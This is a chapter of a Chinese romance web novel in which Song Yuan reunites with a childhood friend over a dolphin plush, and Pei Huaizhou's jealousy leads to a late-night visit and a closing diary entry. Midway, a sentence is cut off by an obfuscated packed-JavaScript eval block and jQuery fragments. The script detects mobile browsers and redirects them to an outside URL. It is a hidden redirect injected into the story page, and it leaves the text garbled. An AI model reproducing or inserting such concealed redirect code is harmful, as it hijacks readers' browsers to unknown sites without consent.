宋沅循声望去。
只见几步开外，一个颀长的身影正逆着夕阳余晖朝他走来。
那人穿着浅蓝色条纹衬衫，米色休闲裤，衬衫袖口随意地挽到手肘处，露出线条分明的小臂。
他单手插在裤袋里，另一只手拎着个帆布包，整个人散发着一种随性却不失风度的气质。
当那人走近时，宋沅的瞳孔猛地收缩。
那张脸——虽然褪去了儿时的稚嫩，轮廓更加分明，下颌线如刀削般利落，但那双带笑的眼睛和嘴角微微上扬的弧度，瞬间唤醒了宋沅记忆深处的画面。
特别是右眼角那颗小小的泪痣，还是和十年前一模一样。
"闻哥？！"宋沅失声叫了出来，声音因为惊讶而微微发颤。
他下意识抱紧了怀里的海豚玩偶，柔软的绒毛陷进指缝里。
胸口像是被什么东西猛地撞了一下，一种久违的温暖感从心底涌上来。
"周杨闻？！真的是你？！"
周杨闻的眼睛亮了起来，三步并作两步走到宋沅面前。
他比宋沅记忆中高了许多，现在需要微微低头才能与宋沅对视。"是我！小沅！"
他的声音里带着掩饰不住的欣喜，尾音微微上扬，"天哪，你都长这么高了！
"他伸手比划了一下，修长的手指在空中划出一道弧线，"上次见面你才到我胸口，现在都快赶上我了。"
宋沅感觉眼眶有些发热。十年了，自从周杨闻随父母调往国外，他们就再没见过。
虽然偶尔会在社交软件上联系，但隔着时差和距离，渐渐也就淡了。
没想到会在这里，以这种方式重逢。
"你什么时候回来的？"宋沅问道，声音因为激动而略显高亢。
他不由自主地向前迈了半步，又突然意识到什么似的，回头看了眼站在身旁的裴淮舟。
"上周刚回来。"周杨闻的笑容温暖而明亮，眼里泛起细小的光点。
他随意地拨了拨额前的碎发，"我爸调回榕江分公司，这次应该会长住了。"
他的目光落在宋沅怀里那只深蓝色的海豚玩偶上，眼神突然凝固，闪过一丝难以置信的神色。
"这海豚......"
他伸出手，指尖轻轻碰了碰海豚圆溜溜的黑眼睛，动作小心翼翼，仿佛在触碰什么珍贵的宝物。
宋沅注意到他的指甲修剪得很整齐，指节分明，是一双典型的钢琴家的手。
"这......这和我小时候在海洋馆送你的那只，简直一模一样！"
周杨闻的声音低了下来，带着某种难以言喻的情绪。
他的手指滑到海豚尾巴内侧，轻轻翻开一个几乎看不见的布质标签，"连这个标签的位置都一样......"
宋沅感觉喉咙发紧。这个细节，只有他们两个人知道。
当年周杨闻送他海豚时，特意把标签藏在这个不起眼的位置，说这是他们的"秘密印记"。
他低头看着怀里的海豚，手指无意识地抚摸着它光滑的绒毛，突然意识到自己的指尖在微微发抖。
"是啊！"
宋沅的声音因为兴奋而微微发抖，"刚才在电玩城抓到的！我看到它第一眼就觉得特别像！"
他抬起头，眼睛亮晶晶的，"没想到真的连这些小细节都一样......"
周杨闻的眼神柔和下来，带着某种怀念的情绪。
他微微歪头，额前的碎发随着这个动作轻轻晃动。
"你还记得吗？那天在海洋馆，我们看了海豚表演后，你说最喜欢那只叫''蓝星''的海豚。"
他笑着摇头，露出两个浅浅的酒窝，"我攒了三个月的零花钱，才够买这个玩偶送你。"
"我记得。"宋沅点点头，眼前仿佛又浮现出那个夏日的午后。
两个小男孩站在纪念品商店前，一个满脸不舍，一个强忍泪水的场景。记忆中的画面如此鲜活，他甚至能闻到海洋馆里特有的咸腥味。
"你走的那天，我抱着它哭了一整晚。"
他们相视一笑，十年的时光仿佛在这一刻被轻轻抹去。
宋沅完全沉浸在重逢的喜悦中，以至于忽略了站在他身旁半步远的裴淮舟。
整个人的气场已经发生了微妙的变化。
…………
裴淮舟的脚步停了下来。
他原本正安静地站在宋沅身侧，手里拿着那只雪白的兔子玩偶，修长的手指有一下没一下地梳理着兔子柔软的绒毛。
这个动作带着他特有的从容，指尖轻轻拨弄着玩偶长长的耳朵，时不时还捏一捏兔子圆滚滚的脸颊。
但当周杨闻准确地说出海豚标签的位置时，他的手指骤然收紧。
骨节因为用力而泛白，指腹深深陷入兔子蓬松的身体里。
原本圆润可爱的玩偶被捏得变了形，长长的耳朵可怜巴巴地耷拉下来，一只眼睛都被挤得歪斜了。
裴淮舟脸上的柔和线条在路灯下瞬间冻结。
他的下颌线绷得极紧，咬肌微微鼓起，嘴唇抿成一条冷硬的直线。
那双总是平静如深潭的眼眸，此刻暗流涌动，目光如利箭般锁定了周杨闻。
当周杨闻自然而然地伸手触碰宋沅怀里的海豚，亲昵地叫出"小沅"这个称呼时，裴淮舟眼底最后一丝温度也消失了。
一种陌生而强烈的情绪如潮水般涌上心头，让他的胸口发闷，呼吸都变得困难。
他从未体验过这种感觉——像是有人在他心口点燃了一把火，灼热的疼痛中夹杂着酸涩。
他看到宋沅脸上绽放的笑容，那么明亮，那么毫无保留，是和他在一起时从未有过的放松和喜悦。
"......后来我每次看到海豚，都会想起那天。"周杨闻的声音传来，带着温暖的笑意。
宋沅笑得眼睛都弯成了月牙："我也是！去年暑假我去海口，特意去看了海豚表演，还给你发了照片记得吗？"
"当然记得。"周杨闻轻轻拍了拍宋沅的肩膀，"你站在最前排，穿着那件蓝色T恤。"
他们之间那种自然而然的亲密感，那些只有彼此才懂的暗号和回忆，像一根根细小的针，扎在裴淮舟心上最柔软的地方。
他的手指无意识地收得更紧，兔子玩偶几乎要被捏扁了。
"你好，我是周杨闻。"周杨闻突然转向裴淮舟，友好地伸出手，"小沅的发小。"
他的声音温和有礼，眼神清澈坦然。
裴淮舟没有伸手回应。他的目光甚至没有在周杨闻脸上停留，而是直接落在宋沅身上。
他的声音比平时低了八度，带着一种极力压抑却仍能听出的紧绷感：
"宋沅，兔子还要吗？"
没等回答，他就近乎强硬地把那只被捏皱的兔子玩偶塞进宋沅怀里。
这个动作带着明显的占有欲，迫使宋沅不得不松开一点抱着海豚的手，手忙脚乱地接住兔子。
"啊？要啊......"宋沅被这突如其来的举动弄得一愣，茫然地抬头看向裴淮舟。
他这才注意到裴淮舟的脸色异常阴沉。
那双总是平静的眼睛此刻暗潮汹涌，让他想起暴风雨前压抑的海面。
周杨闻的目光在两人之间转了个来回，嘴角微微上扬，露出一个了然的表情。
他识趣地后退半步，给两人留出空间，同时轻轻摸了摸鼻子，掩饰住嘴角的笑意。
气氛一时有些凝固。远处传来电玩城嘈杂的音乐声，近处能听到林杨抱着皮卡丘玩偶走动的沙沙声。
宋沅站在原地，感觉手中的两个玩偶突然变得无比沉重。
林杨抱着巨大的皮卡丘玩偶，左看看右看看，迟钝如他也感觉到了空气中的火药味。
他不安地挪动着脚步，皮卡丘的尾巴在地上拖出一道浅浅的痕迹。
"呃......"他干笑两声，声音因为紧张而略显尖细，"要不咱们去喝点东西？我知道附近有家不错的奶茶店......"
他的目光在裴淮舟阴沉的脸上停留了一秒，立刻识相地移开，"他们家的珍珠特别Q弹......"
赵晓声站在一旁，双手插在裤兜里，帽檐下的眼睛闪烁着狡黠的光。
他像发现了什么有趣的事情般，嘴角勾起一抹玩味的笑容。
他故意用脚尖踢了踢地上的小石子，发出轻微的声响吸引大家的注意。
"哟，沅哥。"他慢悠悠地开口，声音不大不小，刚好能让所有人都听见。
他故意拖长了尾音，带着几分戏谑，"人缘不错嘛。"
他意有所指地瞟了一眼宋沅怀里的深蓝海豚，眉毛微微挑起，"这刚收获童年''定情信物''。
"他故意把"定情信物"四个字咬得极重，还做了个夸张的引号手势，"转头就遇上正主了？
啧，真是......"他摇摇头，露出一个意味深长的笑容，"无巧不成书啊。"
这句话像一颗火星，瞬间点燃了裴淮舟心中积压的情绪。
他周身的气压肉眼可见地降低，眼神锐利地扫过赵晓声看好戏的脸，最后沉沉地落在宋沅身上。
他的胸口剧烈起伏了一下，又很快恢复平静，只有紧握的拳头泄露了内心的波动。
宋沅抱着两个玩偶，站在原地不知所措。
他感觉脸颊发烫，手心渗出细密的汗珠，沾湿了兔子玩偶的绒毛。
他看看周杨闻，又看看裴淮舟，张了张嘴想解释什么，却不知从何说起。
海豚玩偶在他怀里微微晃动，黑亮的眼睛反射着路灯的光芒，仿佛也在注视着这场突如其来的对峙。
"我们该走了。"裴淮舟突然开口，声音冷得像淬了冰。
他不等其他人反应，转身就要离开。他的动作干净利落，没有丝毫拖泥带水，浅灰色衬衫的衣角在转身时划出一道凌厉的弧线。
"裴淮舟！"宋沅急忙喊道，下意识追了两步。怀里的玩偶像是在跟他作对似的，挡住他的视线，差点就被绊倒了。
裴淮舟的脚步顿了一下，但没有回头。
夏夜的风吹动他浅灰色衬衫的衣角，勾勒出他紧绷的背影。
他微微侧头，路灯在他轮廓分明的侧脸上投下深浅不一的阴影。
"明天还有事，先走了。"他的声音低沉，带着某种压抑的情绪。
说完，不等回应，便大步流星地走向地铁站的方向。
他的背影在人群中显得格外挺拔，也格外孤独，很快就消失在熙攘的人流中。
宋沅站在原地，怀里抱着海豚和兔子，望着裴淮舟离去的方向，心里空落落的，像是突然被人挖走了一块。
他不明白为什么裴淮舟反应这么大，是因为周杨闻的出现？还是因为邵子墨那句玩笑话？
"你朋友......挺有个性的。"周杨闻轻声说道，语气里没有嘲讽，反而带着几分理解。
他伸手轻轻拍了拍宋沅的肩膀，动作轻柔得像是在安慰一只受惊的小动物。
林杨挠了挠头，皮卡丘玩偶在他怀里晃来晃去："学神怎么了？突然就走了？我还想请他吃夜宵呢！"他困惑地看向赵晓声，不解的问。
赵晓声推了推帽檐，嘴角挂着意味深长的笑。
他故意压低声音，却又确保每个人都能听见："可能......突然想起来家里煤气没关？"
他的眼睛在帽檐的阴影下闪烁着恶作剧得逞的光芒。
宋沅没理会他们的调侃，低头看着怀里的玩偶。
雪白的兔子被裴淮舟捏得有些皱，一只耳朵可怜地耷拉着，而深蓝色的海豚却完好无损，黑亮的眼睛无辜地望着他。
他突然想起裴淮舟帮他抓海豚时专注的侧脸，和那句轻轻的"运气"。
这个念头让宋沅心头一热，但随即又被裴淮舟刚才冷漠离去的画面浇了一盆冷水。
他烦躁地揉了揉海豚的脑袋，柔软的绒毛蹭得他指尖发痒。
远处传来街头艺人演奏的吉他声，欢快的旋律与他此刻的心情形成了鲜明对比。
夜色渐深，街灯一盏接一盏亮起，将整条商业街映照得如同白昼。告别周杨闻后，宋沅抱着两个玩偶，鬼使神差地走向了裴淮舟家的方向。
他的脚步时快时慢，显示出内心的犹豫不决。海豚玩偶被他紧紧搂在胸前，兔子的长耳朵随着他的步伐轻轻晃动。
路过一家甜品店时，他停下脚步，透过玻璃窗看着里面琳琅满目的点心。
突然想起裴淮舟最喜欢这家的芒果班戟。
"请给我一份芒果班戟，打包。"他听见自己对店员说，声音有些飘忽。
提着甜品袋，宋沅继续向裴淮舟家走去。
夜风拂过他的脸颊，带来一丝凉意。
他的心跳随着每一步接近裴淮舟家而加快，手心渗出细密的汗珠，让他不得不时不时调整抱玩偶的姿势。
转过最后一个街角，裴淮舟住的公寓楼已经近在眼前。
宋沅站在楼下，仰头望着那个熟悉的窗口。灯亮着，说明主人在家。
他深吸一口气，感觉胸口像是被什么东西堵住了，呼吸都有些困难。
电梯上升的过程中，宋沅盯着不断跳动的楼层数字，感觉自己的心跳也跟着加速。
他无意识地用指尖摩挲着甜品袋的边缘，发出细微的沙沙声。
站在那扇熟悉的门前，宋沅做了三次深呼吸才鼓起勇气按响门铃。
清脆的铃声在寂静的走廊里显得格外响亮，让他不由自主地屏住了呼吸。
门开了。
裴淮舟站在门口，已经换上了居家服——一件简单的白色T恤和黑色运动裤，头发有些凌乱，像是刚洗过澡。
看到宋沅，他明显愣了一下，眼中闪过一丝复杂的情绪。
他的目光从宋沅脸上滑到怀里的玩偶，再到手中的甜品袋，最后又回到宋沅脸上。
"那个......我......"宋沅紧张得语无伦次，声音比平时高了一个八度。他举起手中的袋子，动作因为慌乱而显得有些笨拙。
"我给你带了......街角那家甜品店的芒果班戟，"他的语速越来越快，"你上次说......说还不错......"
裴淮舟的目光落在袋子上，喉结动了动，没有说话。
他的表情依然冷峻，但宋沅注意到他
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15908811|176863||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的眼神微微软化了一些。
"还有......"宋沅低下头，声音越来越小，几乎变成了喃喃自语，"谢谢你今天的娃娃。我真的很喜欢。"
他顿了顿，手指无意识地绞紧了玩偶的绒毛，"你......你是不是生气了？因为周杨闻？他只是我小时候的朋友，我们很多年没见了，那个海豚真的只是......"
他的声音越来越小，最后几乎听不见了。走廊里的感应灯适时地暗了下来，将两人笼罩在朦胧的黑暗中。
"进来吧。"裴淮舟突然开口，声音比平时低沉。他侧身让出一条路，动作幅度不大，但足够让宋沅通过。
宋沅小心翼翼地跨过门槛，怀里的海豚玩偶不小心蹭到了门框。
他下意识地"啊"了一声，赶紧检查玩偶有没有弄脏。这个动作引得裴淮舟的目光又暗了几分。
客厅里只开了一盏暖黄色的落地灯，为整个空间蒙上一层柔和的光晕。
宋沅把甜品放在茶几上，手足无措地站着。
他环顾四周，注意到茶几上摊开着几本参考书，旁边放着半杯已经凉了的茶。看来裴淮舟刚才一直在学习。
裴淮舟去厨房倒了杯水给他，玻璃杯与大理石台面碰撞发出清脆的声响。
他走路的姿势依然优雅从容，但宋沅能感觉到某种紧绷感，就像一张拉满的弓。
"坐。"
裴淮舟简短地说，自己则坐在沙发另一端，两人之间隔着一臂的距离。
这个距离既不太远显得生疏，又不太近显得亲密，恰到好处地维持着一个安全的界限。
沉默在空气中蔓延。
宋沅盯着自己的手指，注意到指甲边缘有一处小小的倒刺。
他无意识地用另一只手的拇指去拨弄它，直到感到一丝刺痛才停下来。
"你......"宋沅终于忍不住开口，声音因为紧张而略显干涩，"刚刚为什么突然走了？"
裴淮舟沉默了一会儿，目光落在窗外的夜色中。
他的侧脸在昏暗的灯光下显得格外立体，睫毛在眼下投下一小片阴影。
"我不知道。"
他最终说道，声音低沉而克制。
这个回答让宋沅更加困惑。他鼓起勇气，抬头直视裴淮舟的眼睛。
那双总是平静如水的眼睛此刻深邃难测，像是暴风雨前的海面，表面平静却暗藏汹涌。
"是因为周杨闻吗？还是因为赵晓声说的那些话？"
宋沅的声音因为急切而微微发抖，"如果是的话，我可以解释......"
"不用解释。"裴淮舟打断他，眉头微蹙。
他的手指无意识地敲打着沙发扶手，节奏缓慢而规律，"我没有立场要求你解释什么。"
"可是......"宋沅急了，身体不自觉地向前倾，"你明明就在生气！"
裴淮舟深吸一口气，突然站起身，走到窗前背对着宋沅。
月光透过窗户，给他挺拔的背影镀上一层银边。
他的肩膀线条紧绷，显示出内心的不平静。
"宋沅。"他叫他的名字，声音里带着从未有过的挣扎。
"我不知道该怎么形容......"他的声音低了下去，几乎变成了自言自语。
"看到你和那个人在一起的样子，我......"
他停顿了一下，手指无意识地攥紧了窗帘的一角，布料在他掌心皱成一团。
整个房间安静得能听见时钟滴答的声音。
宋沅的心跳如鼓，在胸腔里剧烈震动。他感觉口干舌燥，不由自主地舔了舔嘴唇。
怀里的海豚玩偶不知何时被他抱得太紧，塑料眼睛硌得他胸口发疼。
…………
裴淮舟的日记本 2023年7月15日
今天发生了一件让我难以平静的事。
宋沅抱着那只海豚玩偶，眼睛亮得像是盛满了星星。他说那是他小时候最珍贵的东西，是周杨闻送给他的。
周杨闻。
这个名字像一根刺，突然扎进我的意识里。
当他出现的那一刻，宋沅的表情变了那种惊喜、怀念，甚至是某种我从未见过的柔软。
他们站在一起，谈论着童年的回忆，说着只有他们才懂的暗号。
周杨闻甚至记得那只海豚玩偶尾巴内侧的标签位置，而宋沅因为他这句话，笑得连耳尖都红了。
我站在旁边，像个局外人。
我讨厌这种感觉。
更讨厌的是，我甚至不知道自己为什么这么在意。
那只海豚玩偶是我抓给他的。
电玩城的娃娃机爪子很松，我试了三次才成功。
宋沅站在旁边，紧张得攥着我的袖子，每次失败都小声叹气，又立刻打起精神说“再来一次”。
他看那只海豚的眼神很特别，像是透过它在看什么更重要的东西。
我当时不知道那是什么。
现在知道了。
是周杨闻。
他叫他“小沅”。
我也经常这样叫他，可周杨闻叫得那么自然，仿佛这个名字本就属于他。
而宋沅……宋沅居然应了，还笑得那么开心。
我捏皱了那只兔子玩偶。
赵晓声在旁边煽风点火，说什么“定情信物”。
我知道他是故意的。他一向喜欢看热闹，尤其是我的。但那一刻，我差点控制不住自己的表情。
定情信物？
所以那只海豚对宋沅来说，真的有那么特殊的意义？
那我又算什么？
我提前离开了。
借口是“明天有事”，但其实我只是……不知道该怎么继续站在那里。
看着他们聊那些我完全插不上话的过去，看着宋沅因为周杨闻的一句话笑得弯起眼睛。
我嫉妒。
我居然在嫉妒。
这种情绪陌生得让我自己都感到荒谬。
宋沅追到我家来了。
他带着芒果班戟，还有那只被我捏皱的兔子玩偶。
他结结巴巴地解释，说周杨闻“只是小时候的朋友”，说那只海豚“只是童年的纪念品”。
我不想听。
不是不信他，而是……我怕自己会说出什么不可挽回的话。
比如“那我呢？我对你来说，又是什么？” 。
我不敢问这样的话，我怕我们的刚刚缓和的关系再次坠入谷底。
后来他说要把海豚送给我。
我不知道这意味着什么，但当他小心翼翼地把那只海豚放进我怀里时。
我突然觉得……或许，我也没有自己想的那么无关紧要。
我盯着那个海豚看了很久，甚至鬼使神差地摸了摸它尾巴内侧的标签——那个只有周杨闻和宋沅才知道的“秘密印记”。
我突然意识到，我介意的从来不是那只玩偶，也不是周杨闻。
而是……在宋沅心里，是否有一个位置，是只属于我的？
明天见，宋沅。
希望明天，我能找到答案。
或是说，你能给我一个答案。